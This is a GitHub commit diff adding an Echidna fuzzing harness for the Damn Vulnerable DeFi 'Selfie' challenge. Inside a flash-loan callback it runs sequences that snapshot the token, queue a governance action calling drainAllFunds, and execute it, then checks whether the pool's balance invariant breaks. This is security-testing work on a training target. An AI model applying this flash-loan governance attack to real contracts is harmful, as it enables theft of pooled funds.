Skip to content

Commit

Permalink
wip: add selfie solution
Browse files Browse the repository at this point in the history
  • Loading branch information
0xharold committed Nov 14, 2022
1 parent e25bd15 commit c261324
Showing 1 changed file with 127 additions and 40 deletions.
167 changes: 127 additions & 40 deletions contracts/selfie/EchidnaSelfie.sol
Original file line number Diff line number Diff line change
Expand Up @@ -7,10 +7,10 @@ import "../DamnValuableTokenSnapshot.sol";

/**
* @notice to run echidna use following command:
* yarn selfie-echidna
* npx hardhat clean && npx hardhat compile --force && echidna-test . --contract EchidnaSelfie --config ./selfie.yaml
*/

// this contract is used to set fuzzing environment (to deploy all necessary contracts)
// the SelfieDeployment contract is used to set fuzzing environment (to deploy all necessary contracts)
contract SelfieDeployment {
uint256 TOKEN_INITIAL_SUPPLY = 2_000_000 ether;
uint256 TOKENS_IN_POOL = 1_500_000 ether;
Expand All @@ -34,28 +34,35 @@ contract SelfieDeployment {
pool = new SelfiePool(address(token), address(governance));
// fund selfie pool
token.transfer(address(pool), TOKENS_IN_POOL);

// return all necessary contracts
return (pool, governance, token);
}
}

contract EchidnaSelfie {
uint256 private ACTION_DELAY_IN_SECONDS = 2 days;
uint256 TOKENS_IN_POOL = 1_500_000 ether;
uint256 private TOKENS_IN_POOL = 1_500_000 ether;

bool queueActionEnabled;
bool drainAllFundsEnabled;
bool transferEnabled;
uint256 actionId; // to tract id of queued actions
uint256 timestampOfActionQueued; // to track timestamp of queued actions

uint256 weiAmount;
uint256 actionId;
uint256 timestampActionQueued;
uint256 transferAmount;
uint256[] public actionsToBeCalled; // actions to be called in callback function

enum Actions {
drainAllFunds,
transferFrom,
queueAction,
executeAction
}
uint256 actionsLength = 4; // must correspond with the length of Actions

SelfiePool pool;
SimpleGovernance governance;
DamnValuableTokenSnapshot token;

event ActionCalledInCallback(string action); // to track which actions has been called in callback
event AssertionFailed(string reason);

constructor() payable {
SelfieDeployment deployer;
deployer = new SelfieDeployment();
Expand All @@ -68,30 +75,71 @@ contract EchidnaSelfie {
pool.flashLoan(borrowAmount);
}

/**
* @notice a callback to be called by pool once flashloan is taken
* @param _amount amount of tokens to borrow
*/
function receiveTokens(address, uint256 _amount) external {
require(
msg.sender == address(pool),
"Only pool can call this function."
"Only SelfiePool can call this function."
);
// logic
callbackFunctions();
callbackActions();
// repay the loan
require(token.transfer(address(pool), _amount), "flash loan failed");
require(token.transfer(address(pool), _amount), "Flash loan failed");
}

/**
* @notice a callback function to be used only during flashloan
* @notice Echidna populates actionsToBeCalled by a numbers representing functions
* to be called during callback in receiveTokens()
* @param num a number represing a function to be called
*/
function callbackFunctions() internal {
if (queueActionEnabled) {
queueAction();
}
if (drainAllFundsEnabled) {
function pushActionToCallback(uint256 num) external {
num = num % actionsLength;
actionsToBeCalled.push(num);
}

/**
* @notice an action to be called
* @param _num a number representing the action to be called
*/
function callAction(uint256 _num) internal {
require(0 <= _num && _num < actionsLength, "Out of range");
// drain all funds
if (_num == uint256(Actions.drainAllFunds)) {
drainAllFunds();
}
if (transferEnabled) {
// transfer
if (_num == uint256(Actions.transferFrom)) {
transferFrom();
}
// queue an action
if (_num == uint256(Actions.queueAction)) {
try this.queueAction() {} catch {
revert("queueAction unsuccessful");
}
}
// execute an action
if (_num == uint256(Actions.executeAction)) {
try this.executeAction() {} catch {
revert("queueAction unsuccessful");
}
}
}

/**
* @notice actions to be called once receiveTokens() is called
*/
function callbackActions() internal {
uint256 genArrLength = actionsToBeCalled.length;
if (genArrLength != 0) {
for (uint256 i; i < genArrLength - 1; i++) {
callAction(actionsToBeCalled[i]);
}
} else {
revert("actionsToBeCalled is empty, no action called");
}
}

function queueAction() public {
Expand All @@ -100,58 +148,97 @@ contract EchidnaSelfie {
"drainAllFunds(address)",
address(this)
);
// takeSnaphost as it is needed in queueAction()
// take a snaphost first as it is needed in queueAction()
token.snapshot();
// queue action
// queue the action
actionId = governance.queueAction(address(pool), payload, 0);
// set testing variables
timestampActionQueued = block.timestamp;
// set timestamp when action was queued (needed to pass the requirement in the executeAction)
timestampOfActionQueued = block.timestamp;
}

function executeAction() public {
// it does not make sense to call executeAction if the requirment is not met
require(
block.timestamp >= timestampActionQueued + ACTION_DELAY_IN_SECONDS,
block.timestamp >= timestampOfActionQueued + ACTION_DELAY_IN_SECONDS,
"Time for action execution has not passed yet"
);
governance.executeAction(actionId);
}

/**
* @notice this function should always revert as we should not be able
* to drain all funds from pool
*/
function drainAllFunds() public {
uint256 _poolBalance = token.balanceOf(address(pool));
pool.drainAllFunds(address(this));
uint256 _poolBalanceAfter = token.balanceOf(address(pool));
require(
_poolBalanceAfter > _poolBalance,
"Draining all funds has been unsuccessful"
);
}

/**
* @notice this function should always revert as we should not be able
* to transfer token from pool
*/
function transferFrom() public {
uint256 _poolBalance = token.balanceOf(address(pool));
token.transferFrom(address(pool), address(this), _poolBalance);
uint256 _poolBalanceAfter = token.balanceOf(address(pool));
require(_poolBalanceAfter > _poolBalance, "Transfer unsuccessful");
}

/////////////
// SETTERS //
// HELPERS //
/////////////

function setQueueActionEnabled(bool _enabled) external {
queueActionEnabled = _enabled;
}

function setDrainAllFundsEnabled(bool _enabled) external {
drainAllFundsEnabled = _enabled;
/**
* @notice check if a balance of DVT in pool has changed;
*/
function _checkPoolBalance() external view returns (bool) {
if (token.balanceOf(address(pool)) == TOKENS_IN_POOL) {
return true;
} else {
revert("Invariant broken");
}
}

function setTransferEnabled(bool _enabled) external {
transferEnabled = _enabled;
/**
* @notice emit event of an action executed in callback, i.e. once receiveTokens() is called
* @param _actionNumber a number of action executed
*/
function emitActionExecuted(uint256 _actionNumber) internal {
if (_actionNumber == uint256(Actions.queueAction)) {
emit ActionCalledInCallback("queueAction()");
}
if (_actionNumber == uint256(Actions.executeAction)) {
emit ActionCalledInCallback("executeAction()");
}
if (_actionNumber == uint256(Actions.drainAllFunds)) {
emit ActionCalledInCallback("drainAllFunds()");
}
if (_actionNumber == uint256(Actions.transferFrom)) {
emit ActionCalledInCallback("transferFrom()");
}
}

////////////////
// INVARIANTS //
////////////////

// GENERAL: Can we drain SelfiePool?
function checkPoolBalance() external view {
assert(token.balanceOf(address(pool)) >= TOKENS_IN_POOL);
}

function checkThisContractBalance() external view {
assert(token.balanceOf(address(this)) == 0);
function checkPoolBalance() external {
try this._checkPoolBalance() {
// pool balance has not changed
} catch {
// log actions called via events to be able to track them
for (uint256 i; i < actionsToBeCalled.length; i++) {
emitActionExecuted(actionsToBeCalled[i]);
}
emit AssertionFailed("Invariant broken");
}
}
}

0 comments on commit c261324

Please sign in to comment.